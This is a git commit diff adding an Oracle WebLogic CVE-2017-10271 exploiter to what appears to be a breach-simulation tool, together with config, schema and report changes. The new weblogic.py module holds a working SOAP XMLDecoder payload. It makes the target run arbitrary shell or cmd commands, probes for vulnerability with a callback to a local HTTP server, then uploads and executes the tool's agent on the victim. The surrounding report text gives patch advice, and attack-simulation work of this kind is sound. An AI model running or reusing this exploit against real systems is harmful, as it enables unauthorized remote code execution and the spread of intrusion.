Core functions of Oracle weblogic rce

This commit is contained in:
Vakaris 2018-07-19 14:15:18 +03:00
parent 8af2ab70e7
commit ab64e78f00
7 changed files with 264 additions and 11 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter # multi ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
@ -191,7 +191,7 @@ class Configuration(object):
# TCP Scanner # TCP Scanner
HTTP_PORTS = [80, 8080, 443, HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate 8008, 7001 # HTTP alternate
] ]
tcp_target_ports = [22, tcp_target_ports = [22,
2222, 2222,

View File

@ -37,7 +37,8 @@
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter" "Struts2Exploiter",
"WebLogicExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
@ -87,7 +88,8 @@
443, 443,
3306, 3306,
8008, 8008,
9200 9200,
7001
], ],
"timeout_between_iterations": 10, "timeout_between_iterations": 10,
"use_file_logging": true, "use_file_logging": true,

View File

@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter from struts2 import Struts2Exploiter
from weblogic import WebLogicExploiter

View File

@ -0,0 +1,203 @@
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
# and
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from requests import post, exceptions
from web_rce import WebRCE
from exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD
import threading
import logging
import copy
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for response
DOWNLOAD_TIMEOUT = 4
# How long to wait for a request to go to vuln machine and then to our server from there
REQUEST_TIMEOUT = 2
# How long to wait for response in exploitation
EXECUTION_TIMEOUT = 15
# Server might get response faster than it starts listening to it, we need a lock
LOCK = threading.Lock()
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host)
def exploit_host(self):
# Get open ports
ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = WebRCE.build_potential_urls(self.host, ports, URLS)
exploiter = self.exploit
# Checking takes a lot of time, so we check until we get exploitable url and stop
vulnerable_urls = []
for url in urls:
# Get full URL
if self.test_exploit(url):
vulnerable_urls.append(url)
break
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
# Somehow we can't save files outside server's directory
config = copy.deepcopy(self._config)
config.dropper_target_path_win_32 = 'monkey-32.exe'
config.dropper_target_path_win_64 = 'monkey-64.exe'
config.dropper_target_path_linux = './monkey.sh'
data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0],
{'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED,
'linux': WGET_HTTP_UPLOAD})
# We can't use 'if not' because response may be ''
if not data or data['response'] == False:
return False
if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
return False
if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False:
return False
return True
def exploit(self, url, command):
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
if 'linux' in self.host.os['type']:
cmd_base = '/bin/sh'
cmd_opt = '-c'
command += ' 1> /dev/null 2> /dev/null'
else:
cmd_base = 'cmd'
cmd_opt = '/c'
command += ' 1> NUL 2> NUL'
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
return True
class HTTPServer(threading.Thread):
"""
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, max_requests=1):
self._local_ip = local_ip
self._local_port = local_port
self.get_requests = 0
self.max_requests = max_requests
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class S(BaseHTTPRequestHandler):
@staticmethod
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self._local_ip, self._local_port), S)
httpd.daemon = True
LOCK.release()
while not self._stopped and self.get_requests < self.max_requests:
httpd.handle_request()
self._stopped = True
return httpd
def test_exploit(self, url):
local_port = get_free_tcp_port()
local_ip = get_interface_to_target(self.host.ip_addr)
httpd = WebLogicExploiter.HTTPServer(local_ip, local_port)
httpd.daemon = True
LOCK.acquire()
httpd.start()
LOCK.acquire()
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{lhost}:{lport}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
payload = generic_check_payload.format(lhost=local_ip, lport=local_port)
try:
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
except exceptions.ReadTimeout:
pass
except Exception as e:
LOG.error("Something went wrong: %s" % e)
LOCK.release()
httpd.join(DOWNLOAD_TIMEOUT)
if httpd.get_requests > 0:
exploited = True
else:
exploited = False
return exploited

View File

@ -86,6 +86,13 @@ SCHEMA = {
"Struts2Exploiter" "Struts2Exploiter"
], ],
"title": "Struts2 Exploiter" "title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
} }
] ]
}, },
@ -626,7 +633,8 @@ SCHEMA = {
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"Struts2Exploiter" "Struts2Exploiter",
"WebLogicExploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN
@ -761,7 +769,8 @@ SCHEMA = {
80, 80,
8080, 8080,
443, 443,
8008 8008,
7001
], ],
"description": "List of ports the monkey will check if are being used for HTTP" "description": "List of ports the monkey will check if are being used for HTTP"
}, },
@ -783,7 +792,8 @@ SCHEMA = {
443, 443,
8008, 8008,
3306, 3306,
9200 9200,
7001
], ],
"description": "List of TCP ports the monkey will check whether they're open" "description": "List of TCP ports the monkey will check whether they're open"
}, },

View File

@ -30,7 +30,8 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter' 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -43,6 +44,7 @@ class ReportService:
AZURE = 6 AZURE = 6
STOLEN_SSH_KEYS = 7 STOLEN_SSH_KEYS = 7
STRUTS2 = 8 STRUTS2 = 8
WEBLOGIC = 9
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -298,6 +300,12 @@ class ReportService:
processed_exploit['type'] = 'struts2' processed_exploit['type'] = 'struts2'
return processed_exploit return processed_exploit
@staticmethod
def process_weblogic_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'weblogic'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -310,7 +318,8 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -430,6 +439,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2': elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh': issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent {
CONFICKER: 5, CONFICKER: 5,
AZURE: 6, AZURE: 6,
STOLEN_SSH_KEYS: 7, STOLEN_SSH_KEYS: 7,
STRUTS2: 8 STRUTS2: 8,
WEBLOGIC: 9
}; };
Warning = Warning =
@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
<li>Struts2 servers are vulnerable to remote code execution. (<a <li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045"> href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null } CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
</ul> </ul>
</div> </div>
: :
@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateWebLogicIssue(issue) {
return (
<li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or change server version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
(subcomponent: WLS Security).
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent {
case 'struts2': case 'struts2':
data = this.generateStruts2Issue(issue); data = this.generateStruts2Issue(issue);
break; break;
case 'weblogic':
data = this.generateWebLogicIssue(issue);
break;
} }
return data; return data;
}; };